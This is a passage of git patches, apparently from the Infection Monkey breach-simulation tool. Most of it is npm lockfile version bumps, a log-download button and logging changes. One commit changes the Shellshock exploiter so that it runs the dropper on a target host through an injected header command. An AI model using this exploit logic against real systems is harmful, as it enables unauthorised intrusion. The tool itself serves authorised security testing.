"agentkeepalive": { + "version": "3.4.1", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.21" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + }, + "dependencies": { + "safer-buffer": { + "version": "2.1.2", + "bundled": true + } + } + } + } + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } } } }, @@ -8186,7 +8507,7 @@ "bundled": true, "requires": { "delegates": "1.0.0", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "delegates": { @@ -8314,13 +8635,13 @@ "cacache": "10.0.4", "get-stream": "3.0.0", "glob": "7.1.2", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "make-fetch-happen": "2.6.0", "minimatch": "3.0.4", "mississippi": "3.0.0", "mkdirp": "0.5.1", "normalize-package-data": "2.4.0", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-pick-manifest": "2.1.0", "osenv": "0.1.5", @@ -8328,10 +8649,10 @@ "promise-retry": "1.1.1", "protoduck": "5.0.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", - "ssri": "5.2.4", - "tar": "4.4.0", + "ssri": "5.3.0", + "tar": "4.4.2", "unique-filename": "1.1.0", "which": "1.3.0" }, @@ -8349,12 +8670,12 @@ "http-cache-semantics": "3.8.1", "http-proxy-agent": "2.1.0", "https-proxy-agent": "2.2.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "1.3.1", "node-fetch-npm": "2.0.2", "promise-retry": "1.1.1", "socks-proxy-agent": "3.0.1", - "ssri": "5.2.4" + "ssri": "5.3.0" }, "dependencies": { "agentkeepalive": { @@ -8494,7 +8815,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -8510,7 +8831,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -8532,7 +8853,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -8540,7 +8861,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -8549,7 +8870,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -8603,7 +8924,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -8621,7 +8942,7 @@ "requires": { "encoding": "0.1.12", "json-parse-better-errors": "1.0.1", - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" }, "dependencies": { "encoding": { @@ -8726,7 +9047,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "semver": "5.5.0" } }, @@ -8741,6 +9062,10 @@ "err-code": { "version": "1.1.2", "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true } } }, @@ -8768,28 +9093,23 @@ "bundled": true }, "qrcode-terminal": { - "version": "0.11.0", + "version": "0.12.0", "bundled": true }, "query-string": { - "version": "5.1.0", + "version": "6.1.0", "bundled": true, "requires": { "decode-uri-component": "0.2.0", - "object-assign": "4.1.1", - "strict-uri-encode": "1.1.0" + "strict-uri-encode": "2.0.0" }, "dependencies": { "decode-uri-component": { "version": "0.2.0", "bundled": true }, - "object-assign": { - "version": "4.1.1", - "bundled": true - }, "strict-uri-encode": { - "version": "1.1.0", + "version": "2.0.0", "bundled": true } } @@ -8859,7 +9179,7 @@ } }, "read-package-tree": { - "version": "5.1.6", + "version": "5.2.1", "bundled": true, "requires": { "debuglog": "1.0.1", @@ -8870,15 +9190,15 @@ } }, "readable-stream": { - "version": "2.3.5", + "version": "2.3.6", "bundled": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" }, "dependencies": { @@ -8895,10 +9215,10 @@ "bundled": true }, "string_decoder": { - "version": "1.0.3", + "version": "1.1.1", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "util-deprecate": { @@ -8918,29 +9238,29 @@ } }, "request": { - "version": "2.83.0", + "version": "2.85.0", "bundled": true, "requires": { "aws-sign2": "0.7.0", "aws4": "1.6.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.3.1", + "form-data": "2.3.2", "har-validator": "5.0.3", "hawk": "6.0.2", "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.17", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", "performance-now": "2.1.0", "qs": "6.5.1", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "stringstream": "0.0.5", - "tough-cookie": "2.3.3", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", "uuid": "3.2.1" }, @@ -8958,7 +9278,7 @@ "bundled": true }, "combined-stream": { - "version": "1.0.5", + "version": "1.0.6", "bundled": true, "requires": { "delayed-stream": "1.0.0" @@ -8979,12 +9299,12 @@ "bundled": true }, "form-data": { - "version": "2.3.1", + "version": "2.3.2", "bundled": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", - "mime-types": "2.1.17" + "combined-stream": "1.0.6", + "mime-types": "2.1.18" }, "dependencies": { "asynckit": { @@ -8997,18 +9317,18 @@ "version": "5.0.3", "bundled": true, "requires": { - "ajv": "5.2.3", + "ajv": "5.5.2", "har-schema": "2.0.0" }, "dependencies": { "ajv": { - "version": "5.2.3", + "version": "5.5.2", "bundled": true, "requires": { "co": "4.6.0", - "fast-deep-equal": "1.0.0", - "json-schema-traverse": "0.3.1", - "json-stable-stringify": "1.0.1" + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" }, "dependencies": { "co": { @@ -9016,25 +9336,16 @@ "bundled": true }, "fast-deep-equal": { - "version": "1.0.0", + "version": "1.1.0", + "bundled": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", "bundled": true }, "json-schema-traverse": { "version": "0.3.1", "bundled": true - }, - "json-stable-stringify": { - "version": "1.0.1", - "bundled": true, - "requires": { - "jsonify": "0.0.0" - }, - "dependencies": { - "jsonify": { - "version": "0.0.0", - "bundled": true - } - } } } }, @@ -9050,15 +9361,15 @@ "requires": { "boom": "4.3.1", "cryptiles": "3.1.2", - "hoek": "4.2.0", - "sntp": "2.0.2" + "hoek": "4.2.1", + "sntp": "2.1.0" }, "dependencies": { "boom": { "version": "4.3.1", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } }, "cryptiles": { @@ -9072,20 +9383,20 @@ "version": "5.2.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } }, "hoek": { - "version": "4.2.0", + "version": "4.2.1", "bundled": true }, "sntp": { - "version": "2.0.2", + "version": "2.1.0", "bundled": true, "requires": { - "hoek": "4.2.0" + "hoek": "4.2.1" } } } @@ -9096,7 +9407,7 @@ "requires": { "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" }, "dependencies": { "assert-plus": { @@ -9139,7 +9450,7 @@ } }, "sshpk": { - "version": "1.13.1", + "version": "1.14.1", "bundled": true, "requires": { "asn1": "0.2.3", @@ -9213,14 +9524,14 @@ "bundled": true }, "mime-types": { - "version": "2.1.17", + "version": "2.1.18", "bundled": true, "requires": { - "mime-db": "1.30.0" + "mime-db": "1.33.0" }, "dependencies": { "mime-db": { - "version": "1.30.0", + "version": "1.33.0", "bundled": true } } @@ -9242,7 +9553,7 @@ "bundled": true }, "tough-cookie": { - "version": "2.3.3", + "version": "2.3.4", "bundled": true, "requires": { "punycode": "1.4.1" @@ -9258,13 +9569,13 @@ "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } } } }, "retry": { - "version": "0.10.1", + "version": "0.12.0", "bundled": true }, "rimraf": { @@ -9275,7 +9586,7 @@ } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true }, "semver": { @@ -9287,7 +9598,7 @@ "bundled": true, "requires": { "graceful-fs": "4.1.11", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "slide": { @@ -9344,7 +9655,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -9357,10 +9668,10 @@ } }, "ssri": { - "version": "5.2.4", + "version": "5.3.0", "bundled": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "strip-ansi": { @@ -9377,14 +9688,15 @@ } }, "tar": { - "version": "4.4.0", + "version": "4.4.2", "bundled": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", - "minipass": "2.2.1", + "minipass": "2.2.4", "minizlib": "1.1.0", "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", "yallist": "3.0.2" }, "dependencies": { @@ -9392,13 +9704,14 @@ "version": "1.2.5", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, "minipass": { - "version": "2.2.1", + "version": "2.2.4", "bundled": true, "requires": { + "safe-buffer": "5.1.2", "yallist": "3.0.2" } }, @@ -9406,9 +9719,13 @@ "version": "1.1.0", "bundled": true, "requires": { - "minipass": "2.2.1" + "minipass": "2.2.4" } }, + "safe-buffer": { + "version": "5.1.2", + "bundled": true + }, "yallist": { "version": "3.0.2", "bundled": true @@ -9419,6 +9736,10 @@ "version": "0.2.0", "bundled": true }, + "tiny-relative-date": { + "version": "1.3.0", + "bundled": true + }, "uid-number": { "version": "0.0.6", "bundled": true @@ -9448,13 +9769,14 @@ "bundled": true }, "update-notifier": { - "version": "2.3.0", + "version": "2.5.0", "bundled": true, "requires": { - "boxen": "1.2.1", - "chalk": "2.1.0", - "configstore": "3.1.1", + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", "import-lazy": "2.1.0", + "is-ci": "1.1.0", "is-installed-globally": "0.1.0", "is-npm": "1.0.0", "latest-version": "3.1.0", @@ -9463,16 +9785,16 @@ }, "dependencies": { "boxen": { - "version": "1.2.1", + "version": "1.3.0", "bundled": true, "requires": { "ansi-align": "2.0.0", "camelcase": "4.1.0", - "chalk": "2.1.0", + "chalk": "2.4.1", "cli-boxes": "1.0.0", "string-width": "2.1.1", "term-size": "1.2.0", - "widest-line": "1.0.0" + "widest-line": "2.0.0" }, "dependencies": { "ansi-align": { @@ -9528,7 +9850,7 @@ "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "shebang-command": "1.2.0", "which": "1.3.0" }, @@ -9586,75 +9908,32 @@ } }, "widest-line": { - "version": "1.0.0", + "version": "2.0.0", "bundled": true, "requires": { - "string-width": "1.0.2" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - "dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - } - } - } + "string-width": "2.1.1" } } } }, "chalk": { - "version": "2.1.0", + "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", + "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "1.9.1" }, "dependencies": { "color-convert": { - "version": "1.9.0", + "version": "1.9.1", "bundled": true, "requires": { "color-name": "1.1.3" @@ -9673,14 +9952,14 @@ "bundled": true }, "supports-color": { - "version": "4.4.0", + "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" }, "dependencies": { "has-flag": { - "version": "2.0.0", + "version": "3.0.0", "bundled": true } } @@ -9688,12 +9967,12 @@ } }, "configstore": { - "version": "3.1.1", + "version": "3.1.2", "bundled": true, "requires": { "dot-prop": "4.2.0", "graceful-fs": "4.1.11", - "make-dir": "1.0.0", + "make-dir": "1.2.0", "unique-string": "1.0.0", "write-file-atomic": "2.3.0", "xdg-basedir": "3.0.0" @@ -9713,14 +9992,14 @@ } }, "make-dir": { - "version": "1.0.0", + "version": "1.2.0", "bundled": true, "requires": { - "pify": "2.3.0" + "pify": "3.0.0" }, "dependencies": { "pify": { - "version": "2.3.0", + "version": "3.0.0", "bundled": true } } @@ -9744,23 +10023,36 @@ "version": "2.1.0", "bundled": true }, + "is-ci": { + "version": "1.1.0", + "bundled": true, + "requires": { + "ci-info": "1.1.3" + }, + "dependencies": { + "ci-info": { + "version": "1.1.3", + "bundled": true + } + } + }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "0.1.0", - "is-path-inside": "1.0.0" + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" }, "dependencies": { "global-dirs": { - "version": "0.1.0", + "version": "0.1.1", "bundled": true, "requires": { "ini": "1.3.5" } }, "is-path-inside": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true, "requires": { "path-is-inside": "1.0.2" @@ -9784,7 +10076,7 @@ "bundled": true, "requires": { "got": "6.7.1", - "registry-auth-token": "3.3.1", + "registry-auth-token": "3.3.2", "registry-url": "3.1.0", "semver": "5.5.0" }, @@ -9799,8 +10091,8 @@ "is-redirect": "1.0.0", "is-retry-allowed": "1.1.0", "is-stream": "1.1.0", - "lowercase-keys": "1.0.0", - "safe-buffer": "5.1.1", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", "timed-out": "4.0.1", "unzip-response": "2.0.1", "url-parse-lax": "1.0.0" @@ -9840,7 +10132,7 @@ "bundled": true }, "lowercase-keys": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true }, "timed-out": { @@ -9867,25 +10159,25 @@ } }, "registry-auth-token": { - "version": "3.3.1", + "version": "3.3.2", "bundled": true, "requires": { - "rc": "1.2.1", - "safe-buffer": "5.1.1" + "rc": "1.2.7", + "safe-buffer": "5.1.2" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9904,21 +10196,21 @@ "version": "3.1.0", "bundled": true, "requires": { - "rc": "1.2.1" + "rc": "1.2.7" }, "dependencies": { "rc": { - "version": "1.2.1", + "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.4.2", + "deep-extend": "0.5.1", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" }, "dependencies": { "deep-extend": { - "version": "0.4.2", + "version": "0.5.1", "bundled": true }, "minimist": { @@ -9955,29 +10247,44 @@ "bundled": true }, "validate-npm-package-license": { - "version": "3.0.1", + "version": "3.0.3", "bundled": true, "requires": { - "spdx-correct": "1.0.2", - "spdx-expression-parse": "1.0.4" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" }, "dependencies": { "spdx-correct": { - "version": "1.0.2", + "version": "3.0.0", "bundled": true, "requires": { - "spdx-license-ids": "1.2.2" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" }, "dependencies": { "spdx-license-ids": { - "version": "1.2.2", + "version": "3.0.0", "bundled": true } } }, "spdx-expression-parse": { - "version": "1.0.4", - "bundled": true + "version": "3.0.0", + "bundled": true, + "requires": { + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" + }, + "dependencies": { + "spdx-exceptions": { + "version": "2.1.0", + "bundled": true + }, + "spdx-license-ids": { + "version": "3.0.0", + "bundled": true + } + } } } }, @@ -10008,11 +10315,10 @@ } }, "worker-farm": { - "version": "1.5.4", + "version": "1.6.0", "bundled": true, "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" + "errno": "0.1.7" }, "dependencies": { "errno": { @@ -10027,10 +10333,6 @@ "bundled": true } } - }, - "xtend": { - "version": "4.0.1", - "bundled": true } } }, @@ -11441,8 +11743,8 @@ "requires": { "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.5", - "lodash-es": "4.17.8", + "lodash": "4.17.10", + "lodash-es": "4.17.10", "loose-envify": "1.3.1", "prop-types": "15.6.1" }, @@ -11453,14 +11755,14 @@ "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" }, "lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, "lodash-es": { - "version": "4.17.8", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.8.tgz", - "integrity": "sha512-I9mjAxengFAleSThFhhAhvba6fsO0hunb9/0sQ6qQihSZsJRBofv2rYH58WXaOb/O++eUmYpCLywSQ22GfU+sA==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.10.tgz", + "integrity": "sha512-iesFYPmxYYGTcmQK0sL8bX3TGHyM6b2qREaB4kamHfQyfPJP0xgoGxp19nsH16nsfquLdiyKyX3mQkfiSGV8Rg==" } } }, @@ -11502,9 +11804,9 @@ } }, "react-table": { - "version": "6.8.0", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.0.tgz", - "integrity": "sha1-XOQC63Nd9oU0wD2rs/qgMUeLalg=", + "version": "6.8.2", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.2.tgz", + "integrity": "sha1-Olrvq8hZUzANFnhvowfDBhDbmtw=", "requires": { "classnames": "2.2.5" } diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 099c20a43..a23dd1d36 100644 --- a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,8 +1,9 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Button, Col} from 'react-bootstrap'; import JSONTree from 'react-json-tree' import {DataTable} from 'react-data-components'; import AuthComponent from '../AuthComponent'; +import download from 'downloadjs' const renderJson = (val) => ; const renderTime = (val) => val.split('.')[0]; @@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; +downloadIslandLog = () => { + this.authFetch('/api/log/island/download') + .then(res => res.json()) + .then(res => { + let filename = 'Island_log' + let logContent = (res['log_file']); + download(logContent, filename, 'text/plain'); + }); + }; + render() { return ( - -

      Log

      -
      - -
      - +
      +
      + +

      Log

      +
      + +
      + +
      +
      + +

      Monkey Island Logs

      +
      +

      Download Monkey Island internal log file

      + +
      + +
      +
      ); } } From 05c4bb7ac724f2cc8048478189ae7853b9fb70e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 10:44:47 +0300 Subject: [PATCH 033/137] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/island_logger_default_config.json | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 0435222f6..76e851fbc 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -23,16 +23,6 @@ "maxBytes": 10485760, "backupCount": 20, "encoding": "utf8" - }, - - "error_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "ERROR", - "formatter": "simple", - "filename": "errors.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" } }, From 509558fbb2443f441815cb1c455254fd0bbf8dd4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 13:18:33 +0300 Subject: [PATCH 034/137] Changed the log formatting a bit, added file and function name and line numbers to the log string. --- monkey_island/cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/client_run.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 76e851fbc..e41ca3d9b 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -3,7 +3,7 @@ "disable_existing_loggers": false, "formatters": { "simple": { - "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" } }, diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index 111c0d1a2..c2e44c9aa 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -1,3 +1,4 @@ +import logging from flask import request, jsonify import flask_restful @@ -5,6 +6,8 @@ from cc.services.node import NodeService __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) + class ClientRun(flask_restful.Resource): def get(self): @@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: + logger.info("") is_monkey_running = False return jsonify(is_running=is_monkey_running) From c7ed02b98e2e03c4a64e121bc47d68f9deeb23af Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:38:54 +0300 Subject: [PATCH 035/137] Bugfix, run Shellshock attack as dropper rather than monkey --- infection_monkey/exploit/shellshock.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/exploit/shellshock.py b/infection_monkey/exploit/shellshock.py index bca03b6ea..e1ef246b6 100644 --- a/infection_monkey/exploit/shellshock.py +++ b/infection_monkey/exploit/shellshock.py @@ -8,7 +8,7 @@ import requests from exploit import HostExploiter from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG +from model import DROPPER_ARG from shellshock_resources import CGI_FILES from tools import build_monkey_commandline @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): self.attack_page(url, header, run_path) # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) From 9fa92d0c88f1e7146892b1cb9e9b6423c61b2314 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:39:36 +0300 Subject: [PATCH 036/137] Fix typo in warning --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..a116a320a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,7 +343,7 @@ class ReportPageComponent extends AuthComponent {
    • Weak segmentation - Machines from different segments are able to communicate.
    • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
    • Weak segmentation - machines were able to communicate over unused ports.
    • : null} +
    • Weak segmentation - Machines were able to communicate over unused ports.
    • : null}
    : From ad0d9f4567a957f193207b55cce552cc8b50302d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 18:35:33 +0300 Subject: [PATCH 037/137] Added more log lines --- monkey_island/cc/environment/environment.py | 1 + .../cc/resources/monkey_configuration.py | 1 + monkey_island/cc/resources/monkey_download.py | 6 ++++++ monkey_island/cc/resources/root.py | 6 ++++++ monkey_island/cc/services/config.py | 7 +++++++ monkey_island/cc/services/report.py | 15 +++++++++++++++ 6 files changed, 36 insertions(+) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 11b868070..ebe456b3e 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,6 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() + logger.info('Monkey\'s env is: {0}'.format(env)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..22492344b 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,6 +19,7 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() + else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index ac1f9de2d..25e67fdb2 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -1,3 +1,4 @@ +import logging import json import os @@ -6,6 +7,8 @@ import flask_restful __author__ = 'Barak' +logger = logging.getLogger(__name__) + MONKEY_DOWNLOADS = [ { @@ -42,7 +45,10 @@ MONKEY_DOWNLOADS = [ def 